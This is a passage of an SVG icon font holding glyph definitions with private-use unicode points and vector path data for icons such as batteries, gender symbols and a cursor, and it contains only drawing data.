t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5q203 0 359 -126l78 78l-172 172q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l172 -172l213 213h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_519" unicode="&#xf22a;" horiz-adv-x="1280" 
d="M640 892q217 -24 364.5 -187.5t147.5 -384.5q0 -167 -87 -306t-236 -212t-319 -54q-133 15 -245.5 88t-182 188t-80.5 249q-12 155 52.5 292t186 224t271.5 103v132h-160q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h160v165l-92 -92q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22
t9 23l202 201q19 19 45 19t45 -19l202 -201q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-92 92v-165h160q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-160v-132zM576 -128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5
t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_520" unicode="&#xf22b;" horiz-adv-x="2048" 
d="M1901 621q19 -19 19 -45t-19 -45l-294 -294q-9 -10 -22.5 -10t-22.5 10l-45 45q-10 9 -10 22.5t10 22.5l185 185h-294v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-132q-24 -217 -187.5 -364.5t-384.5 -147.5q-167 0 -306 87t-212 236t-54 319q15 133 88 245.5
t188 182t249 80.5q155 12 292 -52.5t224 -186t103 -271.5h132v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224h294l-185 185q-10 9 -10 22.5t10 22.5l45 45q9 10 22.5 10t22.5 -10zM576 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5
t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_521" unicode="&#xf22c;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-612q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v612q-217 24 -364.5 187.5t-147.5 384.5q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM576 512q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_522" unicode="&#xf22d;" horiz-adv-x="1280" 
d="M1024 576q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1152 576q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123
t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5z" />
    <glyph glyph-name="_523" unicode="&#xf22e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_524" unicode="&#xf22f;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_525" unicode="&#xf230;" 
d="M1451 1408q35 0 60 -25t25 -60v-1366q0 -35 -25 -60t-60 -25h-391v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-735q-35 0 -60 25t-25 60v1366q0 35 25 60t60 25h1366z" />
    <glyph glyph-name="_526" unicode="&#xf231;" horiz-adv-x="1280" 
d="M0 939q0 108 37.5 203.5t103.5 166.5t152 123t185 78t202 26q158 0 294 -66.5t221 -193.5t85 -287q0 -96 -19 -188t-60 -177t-100 -149.5t-145 -103t-189 -38.5q-68 0 -135 32t-96 88q-10 -39 -28 -112.5t-23.5 -95t-20.5 -71t-26 -71t-32 -62.5t-46 -77.5t-62 -86.5
l-14 -5l-9 10q-15 157 -15 188q0 92 21.5 206.5t66.5 287.5t52 203q-32 65 -32 169q0 83 52 156t132 73q61 0 95 -40.5t34 -102.5q0 -66 -44 -191t-44 -187q0 -63 45 -104.5t109 -41.5q55 0 102 25t78.5 68t56 95t38 110.5t20 111t6.5 99.5q0 173 -109.5 269.5t-285.5 96.5
q-200 0 -334 -129.5t-134 -328.5q0 -44 12.5 -85t27 -65t27 -45.5t12.5 -30.5q0 -28 -15 -73t-37 -45q-2 0 -17 3q-51 15 -90.5 56t-61 94.5t-32.5 108t-11 106.5z" />
    <glyph glyph-name="_527" unicode="&#xf232;" 
d="M985 562q13 0 97.5 -44t89.5 -53q2 -5 2 -15q0 -33 -17 -76q-16 -39 -71 -65.5t-102 -26.5q-57 0 -190 62q-98 45 -170 118t-148 185q-72 107 -71 194v8q3 91 74 158q24 22 52 22q6 0 18 -1.5t19 -1.5q19 0 26.5 -6.5t15.5 -27.5q8 -20 33 -88t25 -75q0 -21 -34.5 -57.5
t-34.5 -46.5q0 -7 5 -15q34 -73 102 -137q56 -53 151 -101q12 -7 22 -7q15 0 54 48.5t52 48.5zM782 32q127 0 243.5 50t200.5 134t134 200.5t50 243.5t-50 243.5t-134 200.5t-200.5 134t-243.5 50t-243.5 -50t-200.5 -134t-134 -200.5t-50 -243.5q0 -203 120 -368l-79 -233
l242 77q158 -104 345 -104zM782 1414q153 0 292.5 -60t240.5 -161t161 -240.5t60 -292.5t-60 -292.5t-161 -240.5t-240.5 -161t-292.5 -60q-195 0 -365 94l-417 -134l136 405q-108 178 -108 389q0 153 60 292.5t161 240.5t240.5 161t292.5 60z" />
    <glyph glyph-name="_528" unicode="&#xf233;" horiz-adv-x="1792" 
d="M128 128h1024v128h-1024v-128zM128 640h1024v128h-1024v-128zM1696 192q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM128 1152h1024v128h-1024v-128zM1696 704q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1696 1216
q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1792 384v-384h-1792v384h1792zM1792 896v-384h-1792v384h1792zM1792 1408v-384h-1792v384h1792z" />
    <glyph glyph-name="_529" unicode="&#xf234;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1664 512h352q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-352q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5
t-9.5 22.5v352h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v352q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5v-352zM928 288q0 -52 38 -90t90 -38h256v-238q-68 -50 -171 -50h-874q-121 0 -194 69t-73 190q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q79 -61 154.5 -91.5t164.5 -30.5t164.5 30.5t154.5 91.5q20 17 39 17q132 0 217 -96h-223q-52 0 -90 -38t-38 -90v-192z" />
    <glyph glyph-name="_530" unicode="&#xf235;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1781 320l249 -249q9 -9 9 -23q0 -13 -9 -22l-136 -136q-9 -9 -22 -9q-14 0 -23 9l-249 249l-249 -249q-9 -9 -23 -9q-13 0 -22 9l-136 136
q-9 9 -9 22q0 14 9 23l249 249l-249 249q-9 9 -9 23q0 13 9 22l136 136q9 9 22 9q14 0 23 -9l249 -249l249 249q9 9 23 9q13 0 22 -9l136 -136q9 -9 9 -22q0 -14 -9 -23zM1283 320l-181 -181q-37 -37 -37 -91q0 -53 37 -90l83 -83q-21 -3 -44 -3h-874q-121 0 -194 69
t-73 190q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q154 -122 319 -122t319 122q20 17 39 17q28 0 57 -6q-28 -27 -41 -50t-13 -56q0 -54 37 -91z" />
    <glyph glyph-name="_531" unicode="&#xf236;" horiz-adv-x="2048" 
d="M256 512h1728q26 0 45 -19t19 -45v-448h-256v256h-1536v-256h-256v1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-704zM832 832q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM2048 576v64q0 159 -112.5 271.5t-271.5 112.5h-704
q-26 0 -45 -19t-19 -45v-384h1152z" />
    <glyph glyph-name="_532" unicode="&#xf237;" 
d="M1536 1536l-192 -448h192v-192h-274l-55 -128h329v-192h-411l-357 -832l-357 832h-411v192h329l-55 128h-274v192h192l-192 448h256l323 -768h378l323 768h256zM768 320l108 256h-216z" />
    <glyph glyph-name="_533" unicode="&#xf238;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM768 192q80 0 136 56t56 136t-56 136t-136 56
t-136 -56t-56 -136t56 -136t136 -56zM1344 768v512h-1152v-512h1152z" />
    <glyph glyph-name="_534" unicode="&#xf239;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM288 224q66 0 113 47t47 113t-47 113t-113 47
t-113 -47t-47 -113t47 -113t113 -47zM704 768v512h-544v-512h544zM1248 224q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM1408 768v512h-576v-512h576z" />
    <glyph glyph-name="_535" unicode="&#xf23a;" horiz-adv-x="1792" 
d="M597 1115v-1173q0 -25 -12.5 -42.5t-36.5 -17.5q-17 0 -33 8l-465 233q-21 10 -35.5 33.5t-14.5 46.5v1140q0 20 10 34t29 14q14 0 44 -15l511 -256q3 -3 3 -5zM661 1014l534 -866l-534 266v600zM1792 996v-1054q0 -25 -14 -40.5t-38 -15.5t-47 13l-441 220zM1789 1116
q0 -3 -256.5 -419.5t-300.5 -487.5l-390 634l324 527q17 28 52 28q14 0 26 -6l541 -270q4 -2 4 -6z" />
    <glyph glyph-name="_536" unicode="&#xf23b;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1408v-1536h-1536v1536h1536z" />
    <glyph glyph-name="_537" unicode="&#xf23c;" horiz-adv-x="2296" 
d="M478 -139q-8 -16 -27 -34.5t-37 -25.5q-25 -9 -51.5 3.5t-28.5 31.5q-1 22 40 55t68 38q23 4 34 -21.5t2 -46.5zM1819 -139q7 -16 26 -34.5t38 -25.5q25 -9 51.5 3.5t27.5 31.5q2 22 -39.5 55t-68.5 38q-22 4 -33 -21.5t-2 -46.5zM1867 -30q13 -27 56.5 -59.5t77.5 -41.5
q45 -13 82 4.5t37 50.5q0 46 -67.5 100.5t-115.5 59.5q-40 5 -63.5 -37.5t-6.5 -76.5zM428 -30q-13 -27 -56 -59.5t-77 -41.5q-45 -13 -82 4.5t-37 50.5q0 46 67.5 100.5t115.5 59.5q40 5 63 -37.5t6 -76.5zM1158 1094h1q-41 0 -76 -15q27 -8 44 -30.5t17 -49.5
q0 -35 -27 -60t-65 -25q-52 0 -80 43q-5 -23 -5 -42q0 -74 56 -126.5t135 -52.5q80 0 136 52.5t56 126.5t-56 126.5t-136 52.5zM1462 1312q-99 109 -220.5 131.5t-245.5 -44.5q27 60 82.5 96.5t118 39.5t121.5 -17t99.5 -74.5t44.5 -131.5zM2212 73q8 -11 -11 -42
q7 -23 7 -40q1 -56 -44.5 -112.5t-109.5 -91.5t-118 -37q-48 -2 -92 21.5t-66 65.5q-687 -25 -1259 0q-23 -41 -66.5 -65t-92.5 -22q-86 3 -179.5 80.5t-92.5 160.5q2 22 7 40q-19 31 -11 42q6 10 31 1q14 22 41 51q-7 29 2 38q11 10 39 -4q29 20 59 34q0 29 13 37
q23 12 51 -16q35 5 61 -2q18 -4 38 -19v73q-11 0 -18 2q-53 10 -97 44.5t-55 87.5q-9 38 0 81q15 62 93 95q2 17 19 35.5t36 23.5t33 -7.5t19 -30.5h13q46 -5 60 -23q3 -3 5 -7q10 1 30.5 3.5t30.5 3.5q-15 11 -30 17q-23 40 -91 43q0 6 1 10q-62 2 -118.5 18.5t-84.5 47.5
q-32 36 -42.5 92t-2.5 112q16 126 90 179q23 16 52 4.5t32 -40.5q0 -1 1.5 -14t2.5 -21t3 -20t5.5 -19t8.5 -10q27 -14 76 -12q48 46 98 74q-40 4 -162 -14l47 46q61 58 163 111q145 73 282 86q-20 8 -41 15.5t-47 14t-42.5 10.5t-47.5 11t-43 10q595 126 904 -139
q98 -84 158 -222q85 -10 121 9h1q5 3 8.5 10t5.5 19t3 19.5t3 21.5l1 14q3 28 32 40t52 -5q73 -52 91 -178q7 -57 -3.5 -113t-42.5 -91q-28 -32 -83.5 -48.5t-115.5 -18.5v-10q-71 -2 -95 -43q-14 -5 -31 -17q11 -1 32 -3.5t30 -3.5q1 5 5 8q16 18 60 23h13q5 18 19 30t33 8
t36 -23t19 -36q79 -32 93 -95q9 -40 1 -81q-12 -53 -56 -88t-97 -44q-10 -2 -17 -2q0 -49 -1 -73q20 15 38 19q26 7 61 2q28 28 51 16q14 -9 14 -37q33 -16 59 -34q27 13 38 4q10 -10 2 -38q28 -30 41 -51q23 8 31 -1zM1937 1025q0 -29 -9 -54q82 -32 112 -132
q4 37 -9.5 98.5t-41.5 90.5q-20 19 -36 17t-16 -20zM1859 925q35 -42 47.5 -108.5t-0.5 -124.5q67 13 97 45q13 14 18 28q-3 64 -31 114.5t-79 66.5q-15 -15 -52 -21zM1822 921q-30 0 -44 1q42 -115 53 -239q21 0 43 3q16 68 1 135t-53 100zM258 839q30 100 112 132
q-9 25 -9 54q0 18 -16.5 20t-35.5 -17q-28 -29 -41.5 -90.5t-9.5 -98.5zM294 737q29 -31 97 -45q-13 58 -0.5 124.5t47.5 108.5v0q-37 6 -52 21q-51 -16 -78.5 -66t-31.5 -115q9 -17 18 -28zM471 683q14 124 73 235q-19 -4 -55 -18l-45 -19v1q-46 -89 -20 -196q25 -3 47 -3z
M1434 644q8 -38 16.5 -108.5t11.5 -89.5q3 -18 9.5 -21.5t23.5 4.5q40 20 62 85.5t23 125.5q-24 2 -146 4zM1152 1285q-116 0 -199 -82.5t-83 -198.5q0 -117 83 -199.5t199 -82.5t199 82.5t83 199.5q0 116 -83 198.5t-199 82.5zM1380 646q-105 2 -211 0v1q-1 -27 2.5 -86
t13.5 -66q29 -14 93.5 -14.5t95.5 10.5q9 3 11 39t-0.5 69.5t-4.5 46.5zM1112 447q8 4 9.5 48t-0.5 88t-4 63v1q-212 -3 -214 -3q-4 -20 -7 -62t0 -83t14 -46q34 -15 101 -16t101 10zM718 636q-16 -59 4.5 -118.5t77.5 -84.5q15 -8 24 -5t12 21q3 16 8 90t10 103
q-69 -2 -136 -6zM591 510q3 -23 -34 -36q132 -141 271.5 -240t305.5 -154q172 49 310.5 146t293.5 250q-33 13 -30 34q0 2 0.5 3.5t1.5 3t1 2.5v1v-1q-17 2 -50 5.5t-48 4.5q-26 -90 -82 -132q-51 -38 -82 1q-5 6 -9 14q-7 13 -17 62q-2 -5 -5 -9t-7.5 -7t-8 -5.5t-9.5 -4
l-10 -2.5t-12 -2l-12 -1.5t-13.5 -1t-13.5 -0.5q-106 -9 -163 11q-4 -17 -10 -26.5t-21 -15t-23 -7t-36 -3.5q-6 -1 -9 -1q-179 -17 -203 40q-2 -63 -56 -54q-47 8 -91 54q-12 13 -20 26q-17 29 -26 65q-58 -6 -87 -10q1 -2 4 -10zM507 -118q3 14 3 30q-17 71 -51 130
t-73 70q-41 12 -101.5 -14.5t-104.5 -80t-39 -107.5q35 -53 100 -93t119 -42q51 -2 94 28t53 79zM510 53q23 -63 27 -119q195 113 392 174q-98 52 -180.5 120t-179.5 165q-6 -4 -29 -13q0 -1 -1 -4t-1 -5q31 -18 22 -37q-12 -23 -56 -34q-10 -13 -29 -24h-1q-2 -83 1 -150
q19 -34 35 -73zM579 -113q532 -21 1145 0q-254 147 -428 196q-76 -35 -156 -57q-8 -3 -16 0q-65 21 -129 49q-208 -60 -416 -188h-1v-1q1 0 1 1zM1763 -67q4 54 28 120q14 38 33 71l-1 -1q3 77 3 153q-15 8 -30 25q-42 9 -56 33q-9 20 22 38q-2 4 -2 9q-16 4 -28 12
q-204 -190 -383 -284q198 -59 414 -176zM2155 -90q5 54 -39 107.5t-104 80t-102 14.5q-38 -11 -72.5 -70.5t-51.5 -129.5q0 -16 3 -30q10 -49 53 -79t94 -28q54 2 119 42t100 93z" />
    <glyph glyph-name="_538" unicode="&#xf23d;" horiz-adv-x="2304" 
d="M1524 -25q0 -68 -48 -116t-116 -48t-116.5 48t-48.5 116t48.5 116.5t116.5 48.5t116 -48.5t48 -116.5zM775 -25q0 -68 -48.5 -116t-116.5 -48t-116 48t-48 116t48 116.5t116 48.5t116.5 -48.5t48.5 -116.5zM0 1469q57 -60 110.5 -104.5t121 -82t136 -63t166 -45.5
t200 -31.5t250 -18.5t304 -9.5t372.5 -2.5q139 0 244.5 -5t181 -16.5t124 -27.5t71 -39.5t24 -51.5t-19.5 -64t-56.5 -76.5t-89.5 -91t-116 -104.5t-139 -119q-185 -157 -286 -247q29 51 76.5 109t94 105.5t94.5 98.5t83 91.5t54 80.5t13 70t-45.5 55.5t-116.5 41t-204 23.5
t-304 5q-168 -2 -314 6t-256 23t-204.5 41t-159.5 51.5t-122.5 62.5t-91.5 66.5t-68 71.5t-50.5 69.5t-40 68t-36.5 59.5z" />
    <glyph glyph-name="_539" unicode="&#xf23e;" horiz-adv-x="1792" 
d="M896 1472q-169 0 -323 -66t-265.5 -177.5t-177.5 -265.5t-66 -323t66 -323t177.5 -265.5t265.5 -177.5t323 -66t323 66t265.5 177.5t177.5 265.5t66 323t-66 323t-177.5 265.5t-265.5 177.5t-323 66zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348
t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM496 704q16 0 16 -16v-480q0 -16 -16 -16h-32q-16 0 -16 16v480q0 16 16 16h32zM896 640q53 0 90.5 -37.5t37.5 -90.5q0 -35 -17.5 -64t-46.5 -46v-114q0 -14 -9 -23
t-23 -9h-64q-14 0 -23 9t-9 23v114q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5zM896 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM544 928v-96
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 93 65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5v-96q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 146 -103 249t-249 103t-249 -103t-103 -249zM1408 192v512q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-512
q0 -26 19 -45t45 -19h896q26 0 45 19t19 45z" />
    <glyph glyph-name="_540" unicode="&#xf240;" horiz-adv-x="2304" 
d="M1920 1024v-768h-1664v768h1664zM2048 448h128v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288zM2304 832v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113
v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="_541" unicode="&#xf241;" horiz-adv-x="2304" 
d="M256 256v768h1280v-768h-1280zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_542" unicode="&#xf242;" horiz-adv-x="2304" 
d="M256 256v768h896v-768h-896zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_543" unicode="&#xf243;" horiz-adv-x="2304" 
d="M256 256v768h512v-768h-512zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_544" unicode="&#xf244;" horiz-adv-x="2304" 
d="M2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23
v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_545" unicode="&#xf245;" horiz-adv-x="1280" 
d="M1133 493q31 -30 14 -69q-17 -40 -59 -40h-382l201 -476q10 -25 0 -49t-34 -35l-177 -75q-25 -10 -49 0t-35 34l-191 452l-312 -312q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v1504q0 42 40 59q12 5 24 5q27 0 45 -19z" />
    <glyph glyph-name="_546" unicode="&#xf246;" horiz-adv-x="1024" 
d="M832 1408q-320 0 -320 -224v-416h128v-128h-128v-544q0 -224 320 -224h64v-128h-64q-272 0 -384 146q-112 -146 -384 -146h-64v128h64q320 0 320 224v544h-128v128h128v416q0 224 -320 224h-64v128h64q272 0 384 -146q112 146 384 146h64v-128h-64z" />
    <glyph glyph-name="_547" unicode="&#xf247;" horiz-adv-x="2048" 
d="M2048 1152h-128v-1024h128v-384h-384v128h-1280v-128h-384v384h128v1024h-128v384h384v-128h1280v128h384v-384zM1792 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 -128v128h-128v-128h128zM1664 0v128h128v1024h-128v128h-1280v-128h-128v-1024h128v-128
h1280zM1920 -128v128h-128v-128h128zM1280 896h384v-768h-896v256h-384v768h896v-256zM512 512h640v512h-640v-512zM1536 256v512h-256v-384h-384v-128h640z" />
    <glyph glyph-name="_548" unicode="&#xf248;" horiz-adv-x="2304" 
d="M2304 768h-128v-640h128v-384h-384v128h-896v-128h-384v384h128v128h-384v-128h-384v384h128v640h-128v384h384v-128h896v128h384v-384h-128v-128h384v128h384v-384zM2048 1024v-128h128v128h-128zM1408 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 256
v128h-128v-128h128zM1536 384h-128v-128h128v128zM384 384h896v128h128v640h-128v128h-896v-128h-128v-640h128v-128zM896 -128v128h-128v-128h128zM2176 -128v128h-128v-128h128zM2048 128v640h-128v128h-384v-384h128v-384h-384v128h-384v-128h128v-128h896v128h128z" />
    <glyph glyph-name="_549" unicode="&#xf249;" 
d="M1024 288v-416h-928q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68v-928h-416q-40 0 -68 -28t-28 -68zM1152 256h381q-15 -82 -65 -132l-184 -184q-50 -50 -132 -65v381z" />
    <glyph glyph-name="_550" unicode="&#xf24a;" 
d="M1400 256h-248v-248q29 10 41 22l185 185q12 12 22 41zM1120 384h288v896h-1280v-1280h896v288q0 40 28 68t68 28zM1536 1312v-1024q0 -40 -20 -88t-48 -76l-184 -184q-28 -28 -76 -48t-88 -20h-1024q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="_551" unicode="&#xf24b;" horiz-adv-x="2304" 
d="M1951 538q0 -26 -15.5 -44.5t-38.5 -23.5q-8 -2 -18 -2h-153v140h153q10 0 18 -2q23 -5 38.5 -23.5t15.5 -44.5zM1933 751q0 -25 -15 -42t-38 -21q-3 -1 -15 -1h-139v129h139q3 0 8.5 -0.5t6.5 -0.5q23 -4 38 -21.5t15 -42.5zM728 587v308h-228v-308q0 -58 -38 -94.5
t-105 -36.5q-108 0 -229 59v-112q53 -15 121 -23t109 -9l42 -1q328 0 328 217zM1442 403v113q-99 -52 -200 -59q-108 -8 -169 41t-61 142t61 142t169 41q101 -7 200 -58v112q-48 12 -100 19.5t-80 9.5l-28 2q-127 6 -218.5 -14t-140.5 -60t-71 -88t-22 -106t22 -106t71 -88
t140.5 -60t218.5 -14q101 4 208 31zM2176 518q0 54 -43 88.5t-109 39.5v3q57 8 89 41.5t32 79.5q0 55 -41 88t-107 36q-3 0 -12 0.5t-14 0.5h-455v-510h491q74 0 121.5 36.5t47.5 96.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90
t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_552" unicode="&#xf24c;" horiz-adv-x="2304" 
d="M858 295v693q-106 -41 -172 -135.5t-66 -211.5t66 -211.5t172 -134.5zM1362 641q0 117 -66 211.5t-172 135.5v-694q106 41 172 135.5t66 211.5zM1577 641q0 -159 -78.5 -294t-213.5 -213.5t-294 -78.5q-119 0 -227.5 46.5t-187 125t-125 187t-46.5 227.5q0 159 78.5 294
t213.5 213.5t294 78.5t294 -78.5t213.5 -213.5t78.5 -294zM1960 634q0 139 -55.5 261.5t-147.5 205.5t-213.5 131t-252.5 48h-301q-176 0 -323.5 -81t-235 -230t-87.5 -335q0 -171 87 -317.5t236 -231.5t323 -85h301q129 0 251.5 50.5t214.5 135t147.5 202.5t55.5 246z
M2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_553" unicode="&#xf24d;" horiz-adv-x="1792" 
d="M1664 -96v1088q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5zM1792 992v-1088q0 -66 -47 -113t-113 -47h-1088q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113
zM1408 1376v-160h-128v160q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h160v-128h-160q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_554" unicode="&#xf24e;" horiz-adv-x="2304" 
d="M1728 1088l-384 -704h768zM448 1088l-384 -704h768zM1269 1280q-14 -40 -45.5 -71.5t-71.5 -45.5v-1291h608q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1344q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h608v1291q-40 14 -71.5 45.5t-45.5 71.5h-491q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h491q21 57 70 92.5t111 35.5t111 -35.5t70 -92.5h491q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-491zM1088 1264q33 0 56.5 23.5t23.5 56.5t-23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5zM2176 384q0 -73 -46.5 -131t-117.5 -91
t-144.5 -49.5t-139.5 -16.5t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81zM896 384q0 -73 -46.5 -131t-117.5 -91t-144.5 -49.5t-139.5 -16.5
t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81z" />
    <glyph glyph-name="_555" unicode="&#xf250;" 
